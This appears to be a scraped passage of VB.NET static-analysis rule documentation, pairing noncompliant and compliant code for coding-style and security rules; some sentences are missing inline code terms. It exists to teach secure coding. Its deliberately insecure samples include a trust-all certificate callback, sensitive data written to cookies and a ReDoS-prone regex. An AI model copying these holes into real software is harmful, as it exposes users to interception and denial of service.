Not surprisingly, the Noncompliant Code ExampleSub Dangerous(fieldInfo As System.Reflection.FieldInfo) Dim handle As SafeHandle = CType(fieldInfo.GetValue(fieldInfo), SafeHandle) Dim dangerousHandle As IntPtr = handle.DangerousGetHandle ' Noncompliant End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4834 |
The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities: Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesAt minimum, an access control system should:
Sensitive Code ExampleImports System.Threading Imports System.Security.Permissions Imports System.Security.Principal Imports System.IdentityModel.Tokens Class SecurityPrincipalDemo Class MyIdentity Implements IIdentity ' Sensitive, custom IIdentity implementations should be reviewed End Class Class MyPrincipal Implements IPrincipal ' Sensitive, custom IPrincipal implementations should be reviewed End Class <System.Security.Permissions.PrincipalPermission(SecurityAction.Demand, Role:="Administrators")> ' Sensitive. The access restrictions enforced by this attribute should be reviewed. Private Shared Sub CheckAdministrator() Dim MyIdentity As WindowsIdentity = WindowsIdentity.GetCurrent() ' Sensitive HttpContext.User = ... ' Sensitive: review all reference (set and get) to System.Web HttpContext.User Dim domain As AppDomain = AppDomain.CurrentDomain domain.SetPrincipalPolicy(PrincipalPolicy.WindowsPrincipal) ' Sensitive Dim identity As MyIdentity = New MyIdentity() ' Sensitive Dim MyPrincipal As MyPrincipal = New MyPrincipal(MyIdentity) ' Sensitive Thread.CurrentPrincipal = MyPrincipal ' Sensitive domain.SetThreadPrincipal(MyPrincipal) ' Sensitive Dim principalPerm As PrincipalPermission = New PrincipalPermission(Nothing, "Administrators") ' Sensitive principalPerm.Demand() Dim handler As SecurityTokenHandler = ... Dim identities As ReadOnlyCollection(Of ClaimsIdentity) = handler.ValidateToken() ' Sensitive, this creates identity End Sub ' Sensitive: review how this function uses the identity and principal. Private Sub modifyPrincipal(ByVal identity As MyIdentity, ByVal principal As MyPrincipal) End Sub End Class See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3903 |
Types are declared in namespaces in order to prevent name collisions and as a way to organize them into the object hierarchy. Types that are defined outside any named namespace are in a global namespace that cannot be referenced in code. Noncompliant Code ExamplePublic Class Foo End Class Public Structure Bar End Structure Compliant SolutionNamespace SomeSpace Public Class Foo End Class Public Structure Bar End Structure End Namespace |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2374 |
Unsigned integers have different arithmetic operators than signed ones - operators that few developers understand. Therefore, signed types should be preferred where possible. Noncompliant Code ExampleModule Module1 Sub Main() Dim foo1 As UShort ' Noncompliant Dim foo2 As UInteger ' Noncompliant Dim foo3 As ULong ' Noncompliant End Sub End Module Compliant SolutionModule Module1 Sub Main() Dim foo1 As Short Dim foo2 As Integer Dim foo3 As Long End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2373 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all generic type parameter names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default parameter value Public Class Foo(Of t) ' Noncompliant End Class Compliant SolutionPublic Class Foo(Of T) ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2255 |
Using cookies is security-sensitive. It has led in the past to the following vulnerabilities: Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed. This rule flags code that writes cookies. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesCookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session. Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed. Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies. As a side note, every information read from a cookie should be Sanitized. Sensitive Code Example' === .NET Framework === Dim myCookie As HttpCookie = New HttpCookie("UserSettings") myCookie("CreditCardNumber") = "1234 1234 1234 1234" ' Sensitive; sensitive data stored myCookie.Values("password") = "5678" ' Sensitive myCookie.Value = "mysecret" ' Sensitive ... Response.Cookies.Add(myCookie) ' === .NET Core === Response.Headers.Add("Set-Cookie", ...) ' Sensitive Response.Cookies.Append("mykey", "myValue") ' Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2376 |
Properties with only setters are confusing and counterintuitive. Instead, a property getter should be added if possible, or the property should be replaced with a setter method. Noncompliant Code ExampleModule Module1 WriteOnly Property Foo() As Integer ' Non-Compliant Set(ByVal value As Integer) ' ... some code ... End Set End Property End Module Compliant SolutionModule Module1 Sub SetFoo(ByVal value As Integer) ' Compliant ' ... some code ... End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3981 |
The size of a collection and the length of an array are always greater than or equal to zero. So testing that a size or length is greater than or
equal to zero doesn't make sense, since the result is always Noncompliant Code ExampleIf Collection.Count >= 0 Then ... If Enumerable.Count < 0 Then ... If array.Length >= 0 Then ... Dim result As Boolean = Array.Length >= 0 Compliant SolutionIf list.Count = 0 Then ... If array.Length >= 42 Then ... |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4277 |
Marking a class with This rule raises an issue when a constructor of a class marked shared with a Noncompliant Code Example<Export(GetType(IFooBar))> <PartCreationPolicy(CreationPolicy.[Shared])> Public Class FooBar Inherits IFooBar End Class Public Class Program Public Shared Sub Main() Dim fooBar = New FooBar() ' Noncompliant End Sub End Class Compliant Solution<Export(GetType(IFooBar))> <PartCreationPolicy(CreationPolicy.[Shared])> Public Class FooBar Inherits IFooBar End Class Public Class Program Public Shared Sub Main() Dim fooBar = serviceProvider.GetService(Of IFooBar)() End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3860 |
Since Visual Studio 2010 SP1, the Noncompliant Code ExampleSub Foo(ByVal bar As String) ' ... End Sub Compliant SolutionSub Foo(bar As String) ' ... End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3464 |
Recursion is acceptable in methods, where you can break out of it. But with class types, you end up with code that will compile but not run if you try to instantiate the class. Noncompliant Code ExampleClass C1(Of T) End Class Class C2(Of T) Inherits C1(Of C2 (Of T)) End Class ' ... Dim c2 = New C2(Of Integer) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2375 |
Using the Noncompliant Code ExampleWith the default value of 6: Module Module1 Dim product = New With {.Name = "paperclips", .RetailPrice = 1.2, .WholesalePrice = 0.6, .A = 0, .B = 0, .C = 0} Sub Main() product.Name = "" ' Noncompliant product.RetailPrice = 0 product.WholesalePrice = 0 product.A = 0 product.B = 0 product.C = 0 End Sub End Module Compliant SolutionModule Module1 Dim product = New With {.Name = "paperclips", .RetailPrice = 1.2, .WholesalePrice = 0.6, .A = 0, .B = 0, .C = 0} Sub Main() With product .Name = "" .RetailPrice = 0 .WholesalePrice = 0 .A = 0 .B = 0 .C = 0 End With End Sub End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3466 |
Generally, writing the least code that will readably do the job is a good thing, so omitting default parameter values seems to make sense.
Unfortunately, when you omit them from the Noncompliant Code ExamplePublic Class BaseClass Public Overridable Sub MyMethod(ByVal Optional i As Integer = 1) Console.WriteLine(i) End Sub End Class Public Class DerivedClass Inherits BaseClass Public Overrides Sub MyMethod(ByVal Optional i As Integer = 1) ' ... MyBase.MyMethod() ' Noncompliant; caller's value is ignored End Sub Private Shared Function Main(ByVal args As String()) As Integer Dim dc As DerivedClass = New DerivedClass() dc.MyMethod(12) ' prints 1 End Function End Class Compliant SolutionPublic Class BaseClass Public Overridable Sub MyMethod(ByVal Optional i As Integer = 1) Console.WriteLine(i) End Sub End Class Public Class DerivedClass Inherits BaseClass Public Overrides Sub MyMethod(ByVal Optional i As Integer = 1) ' ... MyBase.MyMethod(i) End Sub Private Shared Function Main(ByVal args As String()) As Integer Dim dc As DerivedClass = New DerivedClass() dc.MyMethod(12) ' prints 12 End Function End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
It's not recommended to reinvent the wheel by implementing custom certificate chain validation. TLS libraries provide built-in certificate validation functions that should be used. Noncompliant Code ExampleServicePointManager.ServerCertificateValidationCallback = Function(sender, certificate, chain, errors) True ' Noncompliant: trust all certificates Compliant SolutionServicePointManager.ServerCertificateValidationCallback = Function(sender, certificate, chain, errors) If Development Then Return True ' For development, trust all certificates Return Errors = SslPolicyErrors.None AndAlso ValidCerts.Contains(certificate.GetCertHashString()) ' Compliant: trust only some certificates End Function See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1048 |
If Finalize or an override of Finalize throws an exception, and the runtime is not hosted by an application that overrides the default policy, the runtime terminates the process immediately without graceful cleanup (finally blocks and finalizers are not executed). This behavior ensures process integrity if the finalizer cannot free or destroy resources. The rule reports on throw statements used in finalizers. Noncompliant Code ExampleClass MyClass Protected Overrides Sub Finalize() Throw New NotImplementedException() ' Noncompliant End Sub End Class Compliant SolutionClass MyClass Protected Overrides Sub Finalize() ' No throw End Sub End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4159 |
In the Attributed Programming Model, the If the type doesn't implement the interface it is exporting there will be an issue at runtime (either a cast exception or just a container not filled with the exported type) leading to unexpected behaviors/crashes. The rule raises an issue when a class doesn't implement or inherit the type declared in the Noncompliant Code Example<Export(GetType(ISomeType))> Public Class SomeType // Noncompliant; doesn't implement 'ISomeType'. End Class Compliant Solution<Export(GetType(ISomeType))> Public Class SomeType Inherits ISomeType End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4260 |
When creating a custom Markup Extension that accepts parameters in WPF, the This rule raises an issue when the string argument to Noncompliant Code ExampleImports System Namespace myLibrary Public Class MyExtension Inherits MarkupExtension Public Sub New() End Sub Public Sub New(ByVal value1 As Object) Value1 = value1 End Sub <ConstructorArgument("value2")> ' Noncompliant Public Property Value1 As Object End Class End Namespace Compliant SolutionImports System Namespace MyLibrary Public Class MyExtension Inherits MarkupExtension Public Sub New() End Sub Public Sub New(ByVal value1 As Object) Value1 = value1 End Sub <ConstructorArgument("value1")> Public Property Value1 As Object End Class End Namespace |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4142 |
There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments. Noncompliant Code ExampleIf compare(myPoint.x, myPoint.x) <> 0 Then ' Noncompliant '... End If If compare(getNextValue(), getNextValue()) <> 0 Then ' Noncompliant '... End If Compliant SolutionIf compare(myPoint.x, myPoint.y) <> 0 Then '... End If Dim v1 As Integer = getNextValue() Dim v2 As Integer = getNextValue() If compare(v1, v2) <> 0 Then '... End If DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code ExampleIf x = 0 Then DoSomething() ElseIf x = 1 Then DoSomethingElse() End If Compliant SolutionIf x = 0 Then DoSomething() ElseIf x = 1 Then DoSomethingElse() Else Throw New ArgumentException("...") End If ExceptionsNone See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4143 |
It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors. Noncompliant Code Exampletowns.Item(x) = "London" towns.Item(x) = "Chicago"; // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2360 |
The overloading mechanism should be used in place of optional parameters for several reasons:
Noncompliant Code ExampleSub Notify(ByVal Company As String, Optional ByVal Office As String = "QJZ") ' Noncompliant End Sub Compliant SolutionSub Notify(ByVal Company As String) Notify(Company, "QJZ") End Sub Sub Notify(ByVal Company As String, ByVal Office As String) End Sub ExceptionsThe rule ignores non externally visible methods. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1151 |
The Noncompliant Code ExampleWith the default threshold of 3: Select Case number Case 1 To 5 ' Noncompliant: 4 statements in the case MethodCall1("") MethodCall2("") MethodCall3("") MethodCall4("") Case Else ' ... End Select Compliant SolutionSelect Case number Case 1 To 5 DoSomething() Case Else ' ... End Select ... Sub DoSomething() MethodCall1("") MethodCall2("") MethodCall3("") MethodCall4("") End Sub |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue when on every program entry points ( Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. Sensitive Code ExampleModule Program Sub Main(args As String()) ' Sensitive as there is a reference to "args" in the procedure. Console.WriteLine(args(0)) End Sub End Module See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4428 |
The This rule raises an issue when a class is marked as shared with a Noncompliant Code Example<PartCreationPolicy(CreationPolicy.Any)> ' Noncompliant Public Class FooBar Inherits IFooBar End Class Compliant Solution<Export(GetType(IFooBar))> <PartCreationPolicy(CreationPolicy.Any)> Public Class FooBar Inherits IFooBar End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code ExampleImports System Public Class C Public Sub Main() Dim x = Console.[In] ' Sensitive Console.Read() ' Sensitive Console.ReadKey() ' Sensitive Console.ReadLine() ' Sensitive Console.OpenStandardInput() ' Sensitive End Sub End Class ExceptionsThis rule does not raise issues when the return value of the Imports System Public Class C Public Sub Main() Console.ReadKey() ' Return value is ignored Console.ReadLine() ' Return value is ignored End Sub End Class See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following
characters: Example: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesCheck whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. If the regular expression is vulnerable to ReDos attacks, mitigate the risk by using a "match timeout" to limit the time spent running the regular expression. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Sensitive Code ExampleImports System Imports System.Collections.Generic Imports System.Linq Imports System.Runtime.Serialization Imports System.Text.RegularExpressions Imports System.Web Namespace N Public Class RegularExpression Private Sub Foo(ByVal pattern As String, ByVal options As RegexOptions, ByVal matchTimeout As TimeSpan, ByVal input As String, ByVal replacement As String, ByVal evaluator As MatchEvaluator) ' All the following instantiations are Sensitive. Validate the regular expression and matched input. Dim r As Regex = New System.Text.RegularExpressions.Regex("(a+)+b") r = New System.Text.RegularExpressions.Regex("(a+)+b", options) r = New System.Text.RegularExpressions.Regex("(a+)+b", options, matchTimeout) ' All the following static methods are Sensitive. System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+b") System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+b", options) System.Text.RegularExpressions.Regex.IsMatch(input, "(a+)+b", options, matchTimeout) System.Text.RegularExpressions.Regex.Match(input, "(a+)+b") System.Text.RegularExpressions.Regex.Match(input, "(a+)+b", options) System.Text.RegularExpressions.Regex.Match(input, "(a+)+b", options, matchTimeout) System.Text.RegularExpressions.Regex.Matches(input, "(a+)+b") System.Text.RegularExpressions.Regex.Matches(input, "(a+)+b", options) System.Text.RegularExpressions.Regex.Matches(input, "(a+)+b", options, matchTimeout) System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", evaluator) System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", evaluator, options) System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", evaluator, options, matchTimeout) System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", replacement) System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", replacement, options) System.Text.RegularExpressions.Regex.Replace(input, "(a+)+b", replacement, options, matchTimeout) System.Text.RegularExpressions.Regex.Split(input, "(a+)+b") System.Text.RegularExpressions.Regex.Split(input, "(a+)+b", options) System.Text.RegularExpressions.Regex.Split(input, "(a+)+b", options, matchTimeout) End Sub End Class End Namespace ExceptionsSome corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2363 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all The default configuration is:
Noncompliant Code ExampleWith the default regular expression Class Foo Private Shared ReadOnly Foo As Integer ' Noncompliant End Class Compliant SolutionClass Foo Private Shared ReadOnly foo As Integer ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3693 |
It may be a good idea to raise an exception in a constructor if you're unable to fully flesh the object in question, but not in an
Noncompliant Code ExampleClass MyException Inherits Exception Public Sub MyException() If bad_thing Then Throw New Exception("A bad thing happened") End If End Sub End Class DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S134 |
Nested Such code is hard to read, refactor and therefore maintain. Noncompliant Code ExampleWith the default threshold of 3: If condition1 ' Compliant - depth = 1 ' ... If condition2 ' Compliant - depth = 2 ' ... For i = 0 to 10 ' Compliant - depth = 3, not exceeding the limit ' ... If condition4 ' Noncompliant - depth = 4 If condition5 ' Depth = 5, exceeding the limit, but issues are only reported on depth = 4 ' ... End If Return End If Next End If End If |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2362 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all The default configuration is:
Noncompliant Code ExampleWith the default regular expression Module Module1 Private Const Foo = 0 ' Noncompliant End Module Compliant SolutionModule Module1 Private Const foo = 0 ' Compliant End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4144 |
When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Noncompliant Code ExamplePrivate Const CODE As String = "bounteous" Private callCount As Integer = 0 Public Function GetCode() As String callCount = callCount + 1 Return CODE End Function Public Function GetName() As String ' Noncompliant callCount = callCount + 1 Return CODE End Function Compliant SolutionPrivate Const CODE As String = "bounteous" Private callCount As Integer = 0 Public Function GetCode() As String callCount = callCount + 1 Return CODE End Function Public Function GetName() As String Return GetCode() End Function ExceptionsEmpty methods, methods with only one line of code and methods with the same name (overload) are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2365 |
Most developers expect property access to be as efficient as field access. However, if a property returns a copy of an array or collection, it will be much slower than a simple field access, contrary to the caller's likely expectations. Therefore, such properties should be refactored into methods so that callers are not surprised by unexpectedly poor performance. Noncompliant Code ExampleModule Module1 ' Internal state Dim array = {"apple", "banana", "orange", "pineapple", "strawberry"} ReadOnly Property Foo() As String() ' Noncompliant Get Dim copy = array.Clone ' Expensive call Return copy End Get End Property End Module Compliant SolutionModule Module1 ' Internal state Dim array = {"apple", "banana", "orange", "pineapple", "strawberry"} Function GetFoo() As String() ' Compliant Dim copy = array.Clone Return copy End Function End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S131 |
The requirement for a final This clause should either take appropriate action or contain a suitable comment as to why no action is taken. Noncompliant Code ExampleSelect Case param ' Noncompliant - Case Else clause is missing Case 0 DoSomething() Case 1 DoSomethingElse() End Select Compliant SolutionSelect Case param Case 0 DoSomething() Case 1 DoSomethingElse() Case Else ' Compliant DoSomethingElse() End Select See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2761 |
Calling the Noncompliant Code ExampleDim b As Boolean = False Dim c As Boolean = Not Not b 'Noncompliant Compliant SolutionDim b As Boolean = False Dim c As Boolean = b 'Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S3453 |
A class with only Noncompliant Code ExamplePublic Class [MyClass] Private Sub New() // Noncompliant ' ... End Sub End Class Compliant SolutionPublic Class [MyClass] Private Sub New() ' ... End Sub End Class ExceptionsClasses that themselves access their private constructors (singletons or smart enums) are ignored. Classes with only |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2364 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all Note that this rule does not apply to The default configuration is:
Noncompliant Code ExampleWith the default regular expression Class Foo Private Foo As Integer ' Noncompliant End Class Compliant SolutionClass Foo Private foo As Integer ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2367 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all non-private The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Module Module1 Public Const foo = 0 ' Noncompliant End Module Compliant SolutionModule Module1 Public Const Foo = 0 ' Compliant End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2366 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that property names match a provided regular expression. The default configuration is the one recommended by Microsoft:
Noncompliant Code ExampleWith the default regular expression Module Module1 Public Property foo As Integer ' Noncompliant End Module Compliant SolutionModule Module1 Public Property Foo As Integer ' Compliant End Module |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2369 |
Shared coding conventions allow teams to collaborate efficiently. This rule checks that all non-private fields names match a provided regular expression. Note that this rule does not apply to non-private The default configuration is:
Noncompliant Code ExampleWith the default regular expression Class Foo Public foo As Integer ' Noncompliant End Class Compliant SolutionClass Foo Public Foo As Integer ' Compliant End Class |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Recommended Secure Coding Practices
Noncompliant Code ExampleDim ip = "192.168.12.42" ' Noncompliant Dim address = IPAddress.Parse(ip) Compliant SolutionDim ip = ConfigurationManager.AppSettings("myapplication.ip") ' Compliant Dim address = IPAddress.Parse(ip) Exceptions
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleImports System Imports System.Security.Cryptography Namespace MyNamespace Public Class Class1 Public Sub Main() Dim data As Byte() = {1, 1, 1} Dim myRSA As RSA = RSA.Create() Dim padding As RSAEncryptionPadding = RSAEncryptionPadding.CreateOaep(HashAlgorithmName.SHA1) ' Review all base RSA class' Encrypt/Decrypt calls myRSA.Encrypt(data, padding) ' Sensitive myRSA.EncryptValue(data) ' Sensitive myRSA.Decrypt(data, padding) ' Sensitive myRSA.DecryptValue(data) ' Sensitive Dim myRSAC As RSACryptoServiceProvider = New RSACryptoServiceProvider() ' Review the use of any TryEncrypt/TryDecrypt And specific Encrypt/Decrypt of RSA subclasses. myRSAC.Encrypt(data, False) ' Sensitive myRSAC.Decrypt(data, False) ' Sensitive Dim written As Integer myRSAC.TryEncrypt(data, Span<byte>.Empty, padding, out written) ' Sensitive myRSAC.TryDecrypt(data, Span<byte>.Empty, padding, out written) ' Sensitive Dim rgbKey As Byte() = {1, 2, 3} Dim rgbIV As Byte() = {4, 5, 6} Dim rijn = SymmetricAlgorithm.Create() ' Review the creation of Encryptors from any SymmetricAlgorithm instance. rijn.CreateEncryptor() ' Sensitive rijn.CreateEncryptor(rgbKey, rgbIV) ' Sensitive rijn.CreateDecryptor() ' Sensitive rijn.CreateDecryptor(rgbKey, rgbIV) ' Sensitive End Sub Public Class MyCrypto Inherits System.Security.Cryptography.AsymmetricAlgorithm ' Sensitive ' ... End Class Public Class MyCrypto2 Inherits System.Security.Cryptography.SymmetricAlgorithm ' Sensitive ' ... End Class End Class End Namespace See
DeprecatedThis rule is deprecated; use S5542 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
vbnet:S2368 |
